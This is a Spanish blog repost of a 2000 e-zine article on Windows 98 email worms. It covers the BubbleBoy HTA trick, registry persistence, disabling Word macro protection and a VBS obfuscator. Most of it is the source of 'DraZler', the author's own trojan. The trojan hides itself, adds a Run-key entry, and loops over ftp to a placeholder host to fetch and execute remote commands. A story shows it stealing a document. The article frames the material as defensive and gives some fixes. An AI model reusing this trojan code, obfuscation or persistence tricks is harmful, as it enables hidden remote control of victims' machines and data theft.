I-Worms en Windows

26 noviembre, 2000 en Programación

Notas preliminares: Este artículo lo publiqué en NetSearch Ezine, una revista electrónica sobre seguridad informática en el 2000.

Todo lo expuesto aquí no funciona deliberadamente (el código está alterado para que no pueda ser ejecutado), y solo funcionaba en Windows 98. Lo escribí para demostrar una vulnerabilidad en dicho software y así saber como evitar ser infectado.

En los tiempos que corren podemos leer en la prensa, en la televisión, la radio… como se habla mucho de virus de Internet, como Melissa, iloveyou…, que utilizan el correo electrónico para entrar en el sistema y “destrozarlo”.

Estos gusanos se han extendido por todo el mundo, y son temidos por la sociedad, aunque realmente no son tan catastróficos como los pintan.

Pero… ¿cual es la verdadera razón de que se hayan extendido a tan gran escala? Pues sencillamente que se extienden de la misma forma que se extendió en su día el famoso programa de Microsoft, Windows. Todos estos gusanos se extienden utilizando las herramientas que nos ofrece la propia Microsoft, ya que solo afectan a las aplicaciones de dicha empresa.

El virus Melissa, tan famoso el año pasado, utilizaba el lenguaje de macros de Microsoft Word y la libreta de direcciones de Microsoft Outlook para sus fines. El mas reciente, iloveu, emplea el scripting de Microsoft Windows, y aprovecha la fabulosa opción de esconder las extensiones en el navegador del sistema para engañar al pobre usuario que sin tener conocimientos básicos sobre como protegerse de agresiones externas (de lo que no les culpo, ya que la culpa es de los medios, que cada vez más se empeñan en asociar la seguridad informática a los “chicos malos”). Bueno, me dejo de preambulos y comienzo este pequeño vistazo a algunas de las técnicas que se emplean para realizar estos ataques, dejando claro que el problema esta en la falta de seguridad del software, y no en la mente retorcida de ciertos cerebritos que se dedican a reventar máquinas ajenas por placer. Ni que decir tiene que todo lo que exponga aquí tiene como fin el conocer como proteger nuestra maquina de este tipo de ataques, no el difundir como utilizarlo con fines poco éticos. Por ello, ciertas partes del código que muestre estaran incompletas o capadas, para que los script-kiddies no encuentren aquí su toys’r'us particular.

Aprobecho tambien este artículo para introducir un “nuevo” (por lo menos yo no he leido nada parecido hasta ahora) concepto al que he bautizado como “Troyano Pasivo”. Lo comentará al final de este artículo, y tambien adjuntare un sencillo pero poderoso ejemplo que he escrito, llamado DraZler.

1. Visual Basic Script (VBS): Los batch de Windows

VBS es un lenguaje de scripting que posee Windows. Sería la versión más reducida de Visual Basic, seguida de VBA (Visual Basic para Aplicaciones). Son scripts muy parecidos a JavaScript, y pueden utilizarse como un batch o como script en una Web, permitiendonos utilizar los controles ActiveX en la Web.

Una de las reglas básicas para comprometer un sistema es conseguir acceso al HD del ordenador. Por ello, los scripts de Java o de VB no permiten hacerlo desde una web. Bueno, miento. Si permiten hacerlo, pero nos saltaría el control ActiveX preguntando si queremos ejecutar ese código, ya que puede comprometer la seguridad de nuestra máquina.

Una primera técnica, un tanto rudimentaria, a mi parecer, es la que utilizó el gusano iloveu. Se trata de enviar el script como un attachment en un correo electrónico. El incauto usuario posiblemente lo ejecutará, ya que si consulta la línea del remitente, vera la dirección de un amigo o familiar (ya que el virus se envía utilizando la libreta de direcciones de la máquina infectada).

Tambien aprovecha las extensiones ocultas de Windows. Llama al archivo sample.txt.vbs, quedando a la vista únicamente sample.txt, de forma se podría pensar que nos han enviado un archivo de texto plano. Una vez que el archivo sea ejecutado, podemos hacer prácticamente cualquier cosa en esa máquina.

Una técnica más eficiente, aunque no tan conocida es la que utiliza el gusano BubbleBoy. Se trata de aprovechar un bug en las librerias de scriptlet en Internet Explorer 5.0. Dicho fallo nos permite volcar un archivo de texto plano en el disco duro de la máquina sin que los controles de seguridad de ActiveX lo revelen. Dicho archivo, colocado de forma estratégica, nos permite tomar la máquina practicamente al 100%. Este archivo podría ser volcado en el directorio Inicio de Windows, como una Aplicacion HTML (.hta), de forma que al reiniciar la computadora este sería ejecutado.

<object id="Infect" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="100" height="100" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><embed id="Infect" type="application/x-shockwave-flash" width="100" height="100"></embed></object>
<script type="text/javascript"><!--mce:0--></script>

El código anterior volcaría el archivo detonante.hta en el directorio inicio de Windows. En este caso, el archivo no contendría ningun código. Esto, insertado en un email en formato HTML o en una web, infectaría al indefenso usuario que lo recibiese con Outlook 5 o que visitase la web con el explorer. Es más, si la infección llega a través del email, ni siquiera es necesario abrir el mensaje, ya que el propio Outlook ejecuta el código Javascript o VBS que contenga al utilizar la vista previa.

Al reiniciar el sistema, ese detonante seria ejecutado, abriendo una ventana, en la que se podría escribir un mensaje emulando un error. Y a partir de ahí, solo bastaría dar rienda suelta a nuestra imaginación.

Para parchear esta vulnerabilidad:

http://support.microsoft.com/support/kb/articles/Q240/3/08.ASP

El último gusano “de moda” ha sido el Life Stages. Este virus aprovecha otra vulnerabilidad de nuestro querido Windows. Se trata de utilizar el Shell Scrap de Windows. Se trata de una posibilidad bastante útil que permite empaquetar varios archivos de proceso por lotes en uno solo. El fallo esta en que por defecto, la extensión de estos archivos (SHS) nunca se mostrará, aunque tengamos activado el Mostrar Extensiones. Esto se debe a la siguiente clave del registro (que viene por defecto :P ):

HKEY_CLASSES_ROOT\ShellScrap\NeverShowExt

Para solucionarlo no hay mas que renombrar esta clave por:

HKEY_CLASSES_ROOT\ShellScrap\AlwaysShowExt

2. Objetos útiles en VBS

Para escribir un gusano, un virus o un troyano en VBS, básicamente tenemos dos objetos importantes. Uno que nos permitira acceder al HD y otro al registro.

=-=-= [ Scripting.FileSystemObject ]

Este objeto contiene diversos metodos que nos permiten leer, y escribir en los dispositivos de almacenamiento masivo de la máquina.

Set ManipulacionHD = CreateObject(“Scripting.FileSystemObject”)

Para abrir un archivo de texto en modo lectura/escritura lo hariamos del siguente modo:

Set MiArchivo = ManipulacionHD.CreateObject(“path/del/archivo”,1,false)

[ Nota: Esto no es un curso de VBS, me limitaré a exponer como se utilizan los metodos para nuestros objetivos, pero no explicare para que sirven todos los parametros. Para eso ya están los libros y los tutoriales que hay por Internet ]

Para escribir en ese archivo:

MiArchivo.WriteLine(“Esta es la primera linea del archivo creado”)

MiArchivo.WriteLine(“Esta es la segunda”)

Para leer:

variable = MiArchivo.ReadLine()

(el contenido de la variable seria “Esta es la primera linea del archivo”)

Una vez terminada la secuencia, debemos cerrar el archivo para lectura escritura.

MiArchivo.Close()

Podemos tambien borrar un archivo:

ManipularHD.DeleteFile(“path\del\archivo”)

=-=-= [ WScript.Shell ]

Este objeto nos permite ejecutar programas y acceder al registro.

Set MiShell = CreateObject(“WScript.Shell”)

Para ejecutar un programa:

MiShell.Run “path/del/binario”,”0″

El 0 indica que se debe ejecutar en segundo plano.

Para escribir en el Registro:

MiShell.RegWrite “HKEY_…\ruta de la clave\clave”, “Contenido”

y para leer:

variable = MiShell.ReadReg(“HKEY_…\ruta\clave”)

(el contenido de “variable” seria “Contenido”)

Bien, conociendo esto, ya podemos hacer lo que nos propongamos.

3. Manipulando el registro

El registro de Windows es, quizá, lo más interesante de este programa. Desde allí podemos variar multitud de parametros. Uno de los más interesantes sería el de la desactivación de la protección contra virus de Microsoft Word para posteriores “entradas”.

Ejecutar.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\

Options\EnableMacroVirusProtection” , “0″

En DraZler (el troyano que adjunto al final de este articulo) se vale del registro para ocultarse a los ojos del usuario de una forma bastante curiosa.

Se trata de cambiar el puntero de trabajo en segundo plano por el mismo que tiene como puntero normal. De esta forma, puede estar realizando tareas (en este caso la de conectar una y otra vez a un ftp) sin que el puntero cambie cada 5 segundos.

Flecha = Ejecutar.RegRead(“HKEY_CURRENT_USER\Control Panel\Cursors\Arrow”)

Ejecutar.RegWrite “HKEY_CURRENT_USER\Control Panel\Cursors\AppStarting”,Flecha

Tambien tenemos la posibilidad de colocar programas que arranquen cada vez que se inicia el sistema (del mismo modo que la carpeta inicio). Esta técnica es archiconocida, y la utilizaban los vistos hasta la saciedad Netbus y Back Orifice. Se trata de insertar una clave en alguna de las siguientes rutas del registro:

HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Run

HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/RunOnce

HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/RunServices

HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/RunservicesOnce

Ahora solo tienes que rebuscar un poco en el registro y encontraras multitud de cosas utiles.

4. Volcando archivos binarios en el HD

Muchas veces el VBS se nos queda corto para nuestras necesidades, y quizá un ejecutable lo solucionase, pero tenemos un problema. La gran mayoría de los usuarios no tienen un compilador de C u otro lenguaje instalado en su máquina, y aunque lo tuviese, lo mas seguro es que no conociesemos la ruta de dicho compilador, por lo que sería inútil intentar volcar un código fuente para compilarlo allí, como sería posible en *NIX. Pero hay una solución que he comentado anteriormente (Ver NetSearch Ezine No. 2). Se trata de utilizar el debug del DOS para convertir el código hexadecimal de nuestro ejecutable en un binario.

Ahora comentare para que lo he utilizado yo en DraZler. Cuando ejecutamos un programa basado en MSDOS, normalmente se abre una “shell”. En el caso de DraZler, yo necesito utilizar un Batch con un bucle infinito, lo que abre esa ventana, y lo hace totalmente visible al usuario. Para ello, se me ocurrio utilizar un acceso directo que apuntase a ese Batch. Si edito las propiedades de ese acceso directo puedo hacer que no salte la ventana, y activar ciertas opciones muy útiles, como la de que no avise de que hay un programa MSDOS corriendo en la máquina al apagar el sistema. Pero… ¿como creo un acceso directo en una máquina a la que no tengo acceso físico? Pues muy sencillo, creo el acceso directo en mi máquina, lo convierto en codigo hexadecimal, y lo vuelco en la máquina remota mediante un script VBS y debug (ver DraZler).

5. Encriptación

Dado que VBS es un script, el código siempre puede ser leído editando el archivo. Para poner las cosas más difíciles, siempre podemos utilizar una pequeña función que lo oculte, aunque si el que lo edita es un poco avispado no tendra ningun problema para descifrarla.

?Ver código JAVASCRIPT
Cadena = InputBox(Codigo,"MoebiuZ's Simple Encoder","Introduce la frase a codificar") For Count = 1 To Len(Cadena)
 
If Count = 1 Then
 
If Len(Asc(Mid(Cadena, Count,1))) = 3 Then
 
       Yimbo = Asc(Mid(Cadena, Count, 1))
 
ElseIf Len(Asc(Mid(Cadena, Count, 1))) = 2 Then
 
Yimbo = "0" &amp; Asc(Mid(Cadena, Count, 1))
 
ElseIf Len(Asc(Mid(Cadena, Count, 1))) = 2 Then
 
Yimbo = "00" &amp; Asc(Mid(Cadena, Count, 1))
 
End If
 
ElseIf Count = Len(Cadena) Then
 
If Len(Asc(Mid(Cadena, Count,1))) = 3 Then
 
       Pepo = Asc(Mid(Cadena, Count, 1))
 
Yimbo = Yimbo &amp; Pepo
 
ElseIf Len(Asc(Mid(Cadena, Count, 1))) = 2 Then
 
Pepo = "0" &amp; Asc(Mid(Cadena, Count, 1))
 
Yimbo = Yimbo &amp; Pepo
 
ElseIf Len(Asc(Mid(Cadena, Count, 1))) = 2 Then
 
Pepo = "00" &amp; Asc(Mid(Cadena, Count, 1))
 
Yimbo = Yimbo &amp; Pepo
 
End If
 
    Else
 
If Len(Asc(Mid(Cadena, Count,1))) = 3 Then
 
       Pepo = Asc(Mid(Cadena, Count, 1))
 
Yimbo = Yimbo &amp; Pepo
 
ElseIf Len(Asc(Mid(Cadena, Count, 1))) = 2 Then
 
Pepo = "0" &amp; Asc(Mid(Cadena, Count, 1))
 
Yimbo = Yimbo &amp; Pepo
 
ElseIf Len(Asc(Mid(Cadena, Count, 1))) = 2 Then
 
Pepo = "00" &amp; Asc(Mid(Cadena, Count, 1))
 
Yimbo = Yimbo &amp; Pepo
 
End If
 
   End If Next Pringue = InputBox(Unused,"Codigo encriptado",Yimbo)

Con este sencillo programa podemos codificar una a una las lineas de nuestro virus, de forma que solo seran secuencias numéricas. Hay que decir que algunas funciones de un script no se pueden codificar o no serán interpretadas correctamente.

Una vez tenemos nuestro virus codificado totalmente, solo tenemos que hacer una función que decodifique cada una de las lineas y la interprete como si no estuviese codificada.

?Ver código JAVASCRIPT
   Function Dec(Code)
 
   For Count = 1 To Len(Code) Step 3
 
        If Count = 1 Then
 
DCode = Chr(Mid(Code,Count,3))
 
Else
 
DCode = DCode &amp; Chr(Mid(Code,Count,3))
 
End If
 
   Next
 
   End Function

Imaginad este sencillo script:

Msgbox “AQUI SU PUBLICIDAD”

Pues encriptado con el codificador anterior quedaria del siguiente modo:

?Ver código JAVASCRIPT
Execute(Dec(077115103098111120032034065081085073032083085032080085066076073067073068065068034))
 
   Function Dec(Code)
 
     For Count = 1 To Len(Code) Step 3
 
          If Count = 1 Then
 
                  DCode = Chr(Mid(Code,Count,3))
 
          Else
 
                  DCode = DCode &amp; Chr(Mid(Code,Count,3))
 
          End If
 
      Next
 
   End Function

6. Troyanos Pasivos: DraZler v1.0.0

Bien, como ya comenté al principio, voy a hablar de lo que se me ha dado por llamar Troyanos Pasivos.

Hasta ahora estamos acostumbrados a los tristemente famosos troyanos del tipo cliente/servidor. Infectabas una máquina con el servidor y despues accedías a ella a través del cliente, con el cual conectabas conociendo la IP de la victima. Los inconvenientes de este sistema son ovbios: existe el problema de conseguir que la víctima active un ejecutable en su máquina, y ademas, necesitamos conseguir su IP mas tarde para poder establecer una conexion. El 95,5% de las máquinas, digamos, normales, no estan conectadas 24 horas a Internet (aun con la tarifa Plana :P ) y tienen una IP dinámica, por lo que tendriamos que encontrarnos con la victima en el IRC, u otras cosas para eso.

La idea de troyano pasivo consiste en que es la máquina infectada la que conecta a donde el atacante desea, y recoge de allí las instrucciones a seguir.

Por ejemplo, cuando la máquina conecta a Intenet, esta realiza una conexion a un ftp gratuito donde yo he dejado un script, un batch, o un binario, lo recoge y lo ejecuta. De esta manera tenemos la maquina controlada sin preocuparnos de si esta conectado o no, y sin saber su IP.

Para ilustrar esto, he creado un sencillo programa, completamente en VBS y Batch. Con ello quiero demostrar dos cosas; que Windows 98 NO ES SEGURO, y que es posible utilizar los propios recursos de una máquina estandar para introducirse en ella, sin necesidad de utilizar programas enlatados.

A continuación comentare a grandes rasgos y a modo de historia lo que podría hacer DraZler, pero como siempre he dicho, un codigo fuente es el mejor tutorial que puedes consultar.

” Domingo, 12:52 horas.

Los padres de Selmito acaban de salir de casa para ir a misa de una. El, como siempre, se había quedado dormido y no le daba tiempo de llegar, por lo que se levanta, se ducha, desayuna un poco y corre enseguida a su ordenador para conectarse a Internet (por fin le han puesto su tarifa plana y tiene que aprovechar que hoy es “gratis” todo el día, y así bajarse el último album de Britney Spears). Arranca su flamante Pentium 500 con 128 de RAM y su querido Windows 98 personalizado hasta los topes. Pincha sobre el icono que pone Internet y mientras su US Robotic 56K emite unos extraños pero graciosos soniditos, aprovecha para arrancar su Internet Explorer, su Outlook y su mIRC para ir ahorrando tiempo.

Cuando el sonido remite, teclea en su navegador la dirección de Terra para enviar un mensaje al movil que se acaba de comprar su compañero de clase. Mientras carga la Web, pulsa el botón “Enviar y Recibir” en el Outlook, para bajarse el correo. Selmito esboza, como todos los dias una sonrisita al ver como su Outlook se baja el correo de la cuenta de su padre y a continuación el de la suya. Todavia recuerda como fardó con sus colegas cuando configuró el solito las dos cuentas en el mismo cliente de correo. De pronto siente una gran curiosidad al ver que el asunto de uno de los mensajes de su padre dice asi “IMPORTANTE”. Sabe que no debe leerlo porque no es suyo, pero como el entiende mas de informática que su padre, decide leerlo por la vista previa y asi dejarlo como no leido. Pronto pierde el interés al ver que el cuerpo del mensaje apenas dice una sarta de estupideces sobre el negocio de su padre, el cual nunca le interesó a él (Eso de ser el editor de una revista del corazón no es muy divertido).

En ese momento escucha como alquien esta abriendo la puerta de entrada, y apaga el ordenador.

(Mientras, en las entrañas del Pentium 500 con 128 de RAM)

El viaje a traves de Internet dando saltos de servidor en servidor lo habia dejado hecho polvo. Cuando por fin llego a la maquina destino, DraZler, el pequeño gusano se dejo caer a través de Outlook en el directorio inicio de Windows gracias a sus queridas librerias Scriptlet. Por fin encontro una forma un poco más cómoda en la mutacion HTA. Despues de tan largo viaje a traves de lineas de cobre, cables de fibra óptica y ondas, decidio descansar hasta la próxima inicialización del sistema.

Domingo, 14:23 horas.

El padre de Selmito enciende el ordenador de casa. Tiene que terminar un artículo para el Martes, ya que es una gran exclusiva que no debe salir antes en ninguna otra publicación. Abre su Microsoft Word y comienza a escribir un largo y movidito artículo de 34 paginas, con todo lujo de detalles. -”La competencia lo va flipar” – se decía a si mismo.

Al arrancar el sistema, DraZler decidió activarse de nuevo, dividiendose en varios archivos VBS y Batch. Activó en el registro su “despertador”, para que cada vez que iniciase el sistema le despertase. Volco un acceso directo para despertarse sin “hacer ruido”. DraZler pudo comprobar que esta máquina no estaba todo el día comunicada con el exterior, asi que decidió realizar una conexión ftp con la dirección que le habia dado su jefe una y otra vez, hasta que el canal modulador/demodulador estableciese un enlaze con la RED. Se dio cuenta de que esto era demasiado “ruidoso”, ya que estaba utilizando un Batch con bucle infinito que llamaba al ftp.exe de Windows, de modo que hizo un pequeño apaño en el registro tocando los punteros del escritorio para que el dichoso relojito no apareciese cada dos por tres. Bien, solo quedaba esperar a que se estableciese esa comunicación y así poder recoger las ordenes de su jefe en el ftp.

Domingo, 18:36 horas

Selmito conectaba desesperado su ordenador a Internet, harto ya de hacer los deberes del Lunes. Ademas, hoy estaba nervioso, habia quedado con una chica en el IRC, que debia estar para comersela segun la foto que esta le habia enviado.

Se llamaba Sheila.

¡Al fin! Por fin se abrían las puertas. DraZler se dirigió a zeus.gratisftp.org y allí recogió ord.vbs. Eran las ordenes de su jefe. Este le pedía el archivo c:\mis documentos\*rod*men*. Pues allí se fue. Al llegar a c:\mis documentos encontro un archivo llamado exclusiva.doc. Pues nada, establecio de nuevo una conexion ftp y subió alli el archivillo.

Lunes, 13:05 horas

El padre de Selmito no se lo podía creer. El artículo sobre la boda del codiciado abogado habia salido en una publicación de la competencia. ¡Pero como! Era una exclusiva. Le habían tomado el pelo…

DraZler ya se habia asentado y acomodado a este su nuevo hogar, y disfrutó de su trabajo y sus escapaditas esporadicas a zeus.gratisftp.com durante un espacio de 7 meses y 4 dias, hasta que Selmito abrió una foto de Sheila llamada en_la_ducha.exe y el disco duro de su ordenador comenzo a girar…”

En fin, despues de este culebrón, solo queda que vosotros mismos veais como funciona este bichejo. Solo comentar que este es el código para infectar la máquina, y que de ir adjunto en un HTML o en un email para Outlook tiene que ser modificado para adaptarlo. Por favor, no lo utiliceis, solo es una ilustración de este artículo, ademas, posee un fallo que hará sospechar a la persona infectada.

?Ver código JAVASCRIPT
// DraZler Passive Trojan v1.1.2    VBS/BATCH Coded
 
//
 
// DO NOT DISTRIBUTE. THIS IS AN EXPERIMENTAL AND INVESTIGATION SAMPLE
 
On Error Resume Next
 
Set AccesoHD = CreateObject("Scripting.FileSystemObject")
 
Set Ejecutar = CreateObject("WScript.Shell")
 
Set DraZ = AccesoHD.CreateTextFile("C:\WINDOWS\drazler.vbs",1,false)
 
DraZ.WriteLine("On Error Resume Next")
 
DraZ.WriteLine("Set Ejecutar = CreateObject(" &amp; Chr(34) &amp; "WScript.Shell" &amp; Chr(34) &amp; ")")
 
DraZ.WriteLine("Set AccesoHD = CreateObject(" &amp; Chr(34) &amp; "Scripting.FileSystemObject" &amp; Chr(34) &amp; ")")
 
DraZ.WriteLine("Set Ftp = AccesoHD.CreateTextFile(" &amp; Chr(34) &amp; "C:\draz.bat" &amp; Chr(34) &amp; ",1,false)")
 
DraZ.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "@echo off" &amp; Chr(34) &amp; ")")
 
DraZ.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; ":reiniciar" &amp; Chr(34) &amp; ")")
 
DraZ.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "echo user milogin miclave &gt; C:\rank.sys" &amp; Chr(34) &amp; ")")
 
DraZ.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "echo get done C:\done &gt;&gt; C:\rank.sys" &amp; Chr(34) &amp; ")")
 
DraZ.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "echo get ord.vbs C:\ord.vbs &gt;&gt; C:\rank.sys" &amp; Chr(34) &amp; ")")
 
DraZ.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "echo delete ord.vbs &gt;&gt; C:\rank.sys" &amp; Chr(34) &amp; ")")
 
DraZ.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "echo bye &gt;&gt; C:\rank.sys" &amp; Chr(34) &amp; ")")
 
DraZ.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; ":repetir" &amp; Chr(34) &amp; ")")
 
DraZ.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "@if not exist C:\rank.sys goto reiniciar" &amp; Chr(34) &amp; ")")
 
DraZ.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "ftp -n -v -s:C:\rank.sys mi.ftp.com" &amp; Chr(34) &amp; ")")
 
DraZ.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "@if exist C:\done goto ejecutar" &amp; Chr(34) &amp; ")")
 
DraZ.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "goto repetir" &amp; Chr(34) &amp; ")")
 
DraZ.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; ":ejecutar" &amp; Chr(34) &amp; ")")
 
DraZ.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "@if exist C:\ord.vbs wscript C:\ord.vbs" &amp; Chr(34) &amp; ")")
 
DraZ.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "del C:\done" &amp; Chr(34) &amp; ")")
 
DraZ.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "del C:\rank.sys" &amp; Chr(34) &amp; ")")
 
DraZ.WriteLine("Ftp.Close()")
 
DraZ.WriteLine("Ejecutar.RegWrite " &amp; Chr(34) &amp; "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DraZler" &amp; Chr(34) &amp; ", " &amp; Chr(34) &amp; "C:\WINDOWS\wscript.exe C:\WINDOWS\dinit.vbs" &amp; Chr(34))
 
DraZ.WriteLine("Ejecutar.RegWrite " &amp; Chr(34) &amp; "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\Options\EnableMacroVirusProtection" &amp; Chr(34) &amp; " , " &amp; Chr(34) &amp; "0" &amp; Chr(34))
 
DraZ.WriteLine("Flecha = Ejecutar.RegRead(" &amp; Chr(34) &amp; "HKEY_CURRENT_USER\Control Panel\Cursors\Arrow" &amp; Chr(34) &amp; ")")
 
DraZ.WriteLine("Ejecutar.RegWrite " &amp; Chr(34) &amp; "HKEY_CURRENT_USER\Control Panel\Cursors\AppStarting" &amp; Chr(34) &amp; ", Flecha")
 
DraZ.WriteLine("Ejecutar.RegWrite " &amp; Chr(34) &amp; "HKEY_LOCAL_MACHINE\Software\DraZler\" &amp; Chr(34) &amp; "," &amp; Chr(34) &amp; "An InfoBioGenetic Industries Production." &amp; Chr(34))
 
DraZ.WriteLine("Ejecutar.RegWrite " &amp; Chr(34) &amp; "HKEY_LOCAL_MACHINE\Software\DraZler\NaMe" &amp; Chr(34) &amp; "," &amp; Chr(34) &amp; "DraZler Passive Trojan." &amp; Chr(34))
 
DraZ.WriteLine("Ejecutar.Run " &amp; Chr(34) &amp; "C:\draz.bat" &amp; Chr(34) &amp; "," &amp; Chr(34) &amp; "0" &amp; Chr(34))
 
DraZ.Close()
 
Set DraZInit = AccesoHD.CreatetextFile("C:\WINDOWS\dinit.vbs",1,false)
 
DraZInit.WriteLine("On Error Resume Next")
 
DraZInit.WriteLine("Set Ejecutar = CreateObject(" &amp; Chr(34) &amp; "WScript.Shell" &amp; Chr(34) &amp; ")")
 
DraZInit.WriteLine("Ejecutar.Run " &amp; Chr(34) &amp; "C:\WINDOWS\drazler.pif" &amp; Chr(34) &amp; "," &amp; Chr(34) &amp; "0" &amp; Chr(34))
 
DraZInit.Close()
 
Set DrazSrcPif = AccesoHD.CreatetextFile("C:\draz.src",1,false)
 
DrazSrcPif.WriteLine("N c:\windows\drazler.pif")
 
DrazSrcPif.WriteLine("E 0100 00 78 44 52 41 5A 4C 45 52 20 20 20 20 20 20 20 ")
 
DrazSrcPif.WriteLine("E 0110 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 ")
 
DrazSrcPif.WriteLine("E 0120 80 02 00 00 43 3A 5C 57 49 4E 44 4F 57 53 5C 77 ")
 
DrazSrcPif.WriteLine("E 0130 73 63 72 69 70 74 2E 65 78 65 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0160 00 00 00 10 00 43 3A 5C 00 49 4E 44 4F 57 53 00 ")
 
DrazSrcPif.WriteLine("E 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 01A0 00 00 00 00 00 43 3A 5C 57 49 4E 44 4F 57 53 5C ")
 
DrazSrcPif.WriteLine("E 01B0 64 72 61 7A 6C 65 72 2E 76 62 73 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 01E0 00 00 00 00 00 00 01 00 FF 19 50 00 00 07 00 00 ")
 
DrazSrcPif.WriteLine("E 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0270 00 4D 49 43 52 4F 53 4F 46 54 20 50 49 46 45 58 ")
 
DrazSrcPif.WriteLine("E 0280 00 87 01 00 00 71 01 57 49 4E 44 4F 57 53 20 33 ")
 
DrazSrcPif.WriteLine("E 0290 38 36 20 33 2E 30 00 05 02 9D 01 68 00 80 02 00 ")
 
DrazSrcPif.WriteLine("E 02A0 00 64 00 32 00 FF FF 00 00 FF FF 00 00 E2 1F 18 ")
 
DrazSrcPif.WriteLine("E 02B0 00 1F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 02C0 00 00 00 00 00 43 3A 5C 57 49 4E 44 4F 57 53 5C ")
 
DrazSrcPif.WriteLine("E 02D0 64 72 61 7A 6C 65 72 2E 76 62 73 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0300 00 00 00 00 00 57 49 4E 44 4F 57 53 20 56 4D 4D ")
 
DrazSrcPif.WriteLine("E 0310 20 34 2E 30 00 FF FF 1B 02 AC 01 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0320 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0340 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0350 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0360 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0370 00 00 00 63 3A 5C 77 69 6E 64 6F 77 73 5C 73 79 ")
 
DrazSrcPif.WriteLine("E 0380 73 74 65 6D 5C 73 68 65 6C 6C 33 32 2E 64 6C 6C ")
 
DrazSrcPif.WriteLine("E 0390 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 03A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 03B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 03C0 00 00 00 15 00 12 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 03D0 00 32 00 01 00 00 00 00 00 00 00 00 00 00 00 E0 ")
 
DrazSrcPif.WriteLine("E 03E0 0F 00 00 05 00 19 00 03 00 C8 00 E8 03 02 00 0A ")
 
DrazSrcPif.WriteLine("E 03F0 00 01 00 00 00 00 00 00 00 1C 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0400 00 00 00 00 00 54 65 72 6D 69 6E 61 6C 00 00 00 ")
 
